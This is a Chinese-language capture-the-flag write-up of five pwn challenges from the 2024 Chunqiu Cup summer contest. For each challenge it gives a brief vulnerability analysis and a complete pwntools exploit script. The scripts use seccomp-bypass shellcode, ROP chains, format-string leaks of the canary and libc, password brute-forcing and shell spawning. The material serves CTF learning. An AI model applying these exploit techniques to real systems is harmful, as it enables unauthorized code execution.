2024年春秋杯夏季赛pwn-Writeup

CTF阶段

1、Shuffled_Execution(一个沙箱)

我们分析代码发现首先申请一块可读可写的内存

我们发现还有一个加密的函数,但是其是用strlen来检查大小的,我们就可以用\x00来绕过

然后下面还有一个沙箱和一个函数一个跳段函数,会跳转到之前申请的可读可写内存中

我们查看沙箱,发现禁用了很多函数

利用思路:

1、我们通过orw来读取flag,但是这边open、read、write都被禁用,我们可用openat、mmap、writev来代替

2、我们在通过\x00来绕过加密函数

完整的exp

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./pwn")
libc=cdll.LoadLibrary("./libc.so.6")
p = process('./pwn')
#p=remote('8.147.128.22', 13068)
shellcode='''
    mov ecx, 0x250
    mov rsi,0x1337070
    xor edi,edi
    mov rax,257
    xor rdx,rdx
    syscall  #openat
    
    mov rdi,0x1338000
    mov rsi,0x1000
    mov rdx,7
    mov r10,0x12
    mov r8,3
    xor r9,r9
    mov rax,9
    syscall
    
    mov rax,20
    mov rdi,1
    mov rsi,0x1337080
    mov rdx,1
    syscall   #writev
   
'''
print(shellcode)
p.recvuntil("The only chance to pass the entrance.\n")
print(hex(len(asm(shellcode))))
# gdb.attach(p,'b *$rebase(0x16EE)\nc')
# pause()
p.sendline(asm(shellcode).ljust(0x70,'\x00')+'/flag\x00'.ljust(0x10,b'\x00')+p64(0x1338000)+p64(30))
p.interactive(p)

2、stdout(设置了全缓冲区)

我们查看伪代码可以发现设置了全缓存区

然后main会溢出两个字节,vlun函数是然后我们可以溢出然后的长度

还有一个extend函数是为了让我们可以填满缓存区,然后将我们的内容打印出来,因为我们直接写地址区填满的本地是可打通的,但是远程会因为连接不稳定打不通,所以我们要通过这个函数将其填满

利用思路

1、我们通过extend函数填满缓存区,然后泄露libc的地址

2、然后我们就可以ret2libc拿到shell

注:也可以通过以下方式进行手动刷新缓冲区从而输出缓冲区中的内容:

  • 显式调用fflush函数 (这里我们没有泄露libc,所以我们没法拿到函数的地址)
  • 流被关闭(调用fclose)(这个我目前还没接触到)
  • 程序正常结束(调用exit)(这个我目前还没接触到)

完整的exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./pwn2")
libc=ELF("./libc-2.31.so")
p = process('./pwn2')
# p = remote('8.147.128.163',33425)
vlun=0x40125D
puts_plt=0x4010B0
puts_got=elf.got['puts']
pop_rdi=0x00000000004013d3 #: pop rdi ; ret
ret=0x000000000040101a #: ret
pay='a'*0x50+'b'*8+p64(0x40125D)
# gdb.attach(p,'b *0x40136D\nc')
# pause()
p.send(pay)
for i in range(3):
    pay = 'a' * 0x20 + 'b'*8 +p64(ret)+p64(0x401287)*54+p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vlun)
    p.send(pay)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
log.info('libc addr:' + hex(libc.address))
p.recv()
pop_rsi=0x00000000004013d1 #: pop rsi ; pop r15 ; ret
pop_rdx=0x0000000000142c92+libc.address #: pop rdx ; ret
one_gadget=[0xe3afe,0xe3b01,0xe3b04][2]+libc.address
pay='a'*0x20+p64(0)+p64(pop_rsi)+p64(0)*2+p64(pop_rdx)+p64(0)+p64(one_gadget)
p.send(pay)
p.interactive()

3、SavethePrincess

首先查看保护,发现保护全开

分析代码函数,发现只要两个函数,还有一个初始化函数,进入初始化函数,发现了调用了一个系统的随机数来来生成一段8位数的密码

我们再进入magic函数,发现我们要输入刚才生成密码,才能触发格式化字符串漏洞

我们发现buf和i是挨着的,再通gdb调试,他会将i给泄露出来,可以发现当我们输出的时候会将i给带出来,我们就可以通过这个来爆破密码

我们在进入Challenge函数,发现是一个大的栈溢出和一个沙盒,

我们这个这里可以用openat、mmap、write来打印flag,但是开启了栈不可执行,所以我们要通过mprotect函数修改栈的执行权限

利用思路:

1、首先我们通过i的泄露来爆破出密码,然后在通过格式化字符串泄露出canary、stack、libc的地址

2、我们首先要修改栈的权限,然后我们在写shellcode

完整的exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./SavethePrincess')
p= process('./SavethePrincess')
libc=ELF('./libc.so.6')
def cmd(idx):
    p.sendlineafter('>',str(idx))
cmd(1)
pay=''.ljust(10,'a')
p.sendlineafter('please input your password:',pay)
pwd = ""
realpwd = ""
s = "a"
for i in range(8):
    for j in range(26):
        # gdb.attach(p, '*b$rebase(0x17B9)\nc')
        # pause()
        cmd(1)
        pwd = pay.ljust(10,'a')
        p.sendlineafter('password:',pwd)
        p.recvuntil(pwd)
        idx=p.recv(1)
        if i+1 != struct.unpack('B',idx)[0]:
            s=chr(ord('b')+j)
            pay=realpwd+s
            continue
        realpwd+=s
        print realpwd
        break
cmd(1)
p.sendlineafter('please input your password: ',realpwd)

p.recvuntil('successfully, Embrace the power!!!\n')
# gdb.attach(p,'b *$rebase(0x166A)\nc')
# pause()
p.sendline('%10$p%15$p%13$p')

stack=(int(p.recv(14),16))
libc.address=int(p.recv(14),16)-0x29d90
canary=int(p.recv(18),16)
log.info('stack:'+ hex(stack))
log.info('libc_addr :'+ hex(libc.address))
log.info('canary :'+ hex(canary))
cmd(2)
shellcode=shellcraft.openat(-100,"/flag")
shellcode += '''
mov rax, 9          
mov r8, 0x3 
mov rdi, {}        
mov rsi, 0x100
mov rdx, 1          
mov r10, 0x02       
mov r9, 0   
syscall 
mov rsi, rax
mov rax, 1      
mov rdi, 1      
mov rdx, 0x100
sub rsi, 0x60    
syscall
'''.format((stack>>12)<<12)
pop_rdi = libc.address+ 0x000000000002a3e5
pop_rsi = libc.address+0x000000000002be51
pop_rax_rdx_rbx = libc.address+0x00000000000904a8
mprotect=libc.sym['mprotect']
pay = 'a'*0x38+p64(canary)+p64(0)
pay += p64(pop_rdi)+p64((stack>>12)<<12)+p64(pop_rsi)+p64(0x2000)+p64(pop_rax_rdx_rbx)+p64(10)+p64(7)+p64(0)+p64(mprotect)
pay += p64(stack+len(pay)-0x58)+asm(shellcode)
gdb.attach(p,'b *$rebase(0x170B)\nc')
pause()
print(hex(len(pay)))
p.sendlineafter('dragon!!',pay)
p.interactive()

注:struct.unpack是将字节流的数据进行转化为数值

用法:number,= struct.unpack(格式化字符串, 字节流的数据)

格式字符串可以包含多种类型,例如

  • c - 有符号的char(1字节)
  • b - 有符号的byte(1字节)
  • B - 无符号的byte(1字节)
  • h - 有符号的short(2字节)
  • H - 无符号的short(2字节)
  • i - 有符号的int(4字节)
  • I - 无符号的int(4字节)
  • l - 有符号的long(4字节,Python 2.x中是8字节)
  • L - 无符号的long(4字节,Python 2.x中是8字节)
  • q - 有符号的long long(8字节)
  • Q - 无符号的long long(8字节)
  • f - 浮点数(4字节)
  • d - 双精度浮点数(8字节)
  • s - 字符串(长度由后续数字指定)
  • p - 字符串,以空字符填充到指定长度

字节序(endian)可以是:

  • < - 小端(little-endian)
  • > - 大端(big-endian)
  • ! - 网络字节序(big-endian,与>相同)
  • = - 本机字节序(native)

awdp阶段

1、sspiiiiiil

我们查看代码,发现他有两个函数,一个输入,一个跳转

当我们输入3的时候就会进入sub_1CFB函数中,我们进入函数发现他会将我们输入的第一个字节的数取出来作为funcs_1B86函数的偏移,然后在a1 x02808的地方加一

我们查看funcs_1B86函数中,发现有好多函数的偏移,我们依次分析,发现了两个函数一个是system函数和一个funcs_1B86函数

system函数,我们发现system里面的参数是,通过取出我们存入的第三个字节数,在加上0x502,然后在读取a1中的数值

funcs_1B86函数,和上面的区别就是他没有限制我们输入的大小,所以我们可以读取到system函数的偏移

利用思路:

1、我们首先调用输入函数将我们所要构建的输入

2、我们第一个字的数为0xA,得到没有限制的funcs_1B86函数

3、然后第二个参数为0xC,就可以得到system函数的偏移

4、第三个参数,我们要算偏移,然后我们输入的第三个参数加上0x502,之后可以得到我们第四个字节的内容(我们通过观察,我们只要让最后的数值为0x104就可以拿到第四字节的)

所以我们要输入一个负数,然后存储的int64,为8字节的数,所以我们传入的数值为0xffffffffffffc02

完整的exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p= process('./pwn')
# p=remote("8.147.132.12:24531")
pay = p64(0xA)
pay += p64(0xC)
pay += p64(0xFFFFFFFFFFFFFC02)
pay += b"sh\x00"
def cmd(c):
    p.sendlineafter(b"choice:", str(c))
cmd(2)
p.send(pay)
gdb.attach(p,"b *$rebase(0x1D38)\nc")
pause()
cmd(3)
p.interactive()

2、simpleSys

首先我们查看开启了什么保护,发现开了pie和栈不可执行

然后我们再分析代码,发现有一个login函数和add函数

我们首先分析add函数,发现只有登录root用户才能执行,然后我们发现

我们进入sub_1217函数发现是一个循环读入的操作,并且还存在整数溢出,我们输入负数绕过

我们查看login函数,发现有root登录,我们查看密码的构成

我们进入sub_189C函数,发现他会在我们输入的数值最后加上一个\x00,我们就可以通过这个特性来绕过密码的判断,因为是通过strlen来判断长度的,

我们就可以通过溢出来覆盖byte_4050这个变量的末尾为\x00从而来绕过,首先我们查看list1的长度为48

,然后我们分析sub_189c函数,可知我们只要输入36个字符就可以将\x00覆盖到byte_4050的末尾

利用思路:

1、首先我们通过\x00来绕过root的登录

2、我们进入add函数发现格式化字符串,我们通过溢出来拿到程序的基地址

3、然后我们就是ret2libc,泄露libc,然后写rop

完整的exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./main')
p= process('./main')
libc=ELF('./libc.so.6')
def cmd(idx):
    p.sendlineafter('Enter your choice: ',str(idx))
def lonin(user,passwd):
    cmd(2)
    p.sendlineafter('username: ',str(user))
    p.sendlineafter('password: ',str(passwd))
user='root'
passwd='a'*36
gdb.attach(p,"b *$rebase(0x1867)\nc")
pause()
lonin(user,passwd)
cmd(3)
pay='a'*0x68
p.sendlineafter('input length: ',str(-1))
p.sendline(pay)
p.recvuntil('a'*0x68)
stack=u64(p.recv(6).ljust(8,'\x00'))-0x187d
log.info('stack :' + hex(stack))
p.sendlineafter('[y/n]','n')
p.sendlineafter('input length: ',str(-1))
pop_rdi=0x0000000000001751+stack #: pop rdi ; ret
ret=0x000000000000101a+stack #: ret
put_got=elf.got['puts']+stack
put_plt=stack+0x10F0
pay='a'*0x68+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(stack+0x146A)
# gdb.attach(p,'b *$rebase(0x1566)\nc')
# pause()
p.sendline(pay)
p.sendlineafter('[y/n]','y')
libc.address=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.sym['puts']
system=libc.sym['system']
bin_sh=libc.search('/bin/sh\x00').next()
log.info('libc_base : ' + hex(libc.address))
log.info('system : ' + hex(system))
log.info('bin_sh : ' + hex(bin_sh))
pay='a'*0x68+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendlineafter('input length: ',str(-1))
p.sendline(pay)
p.sendlineafter('[y/n]','y')
p.interactive()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值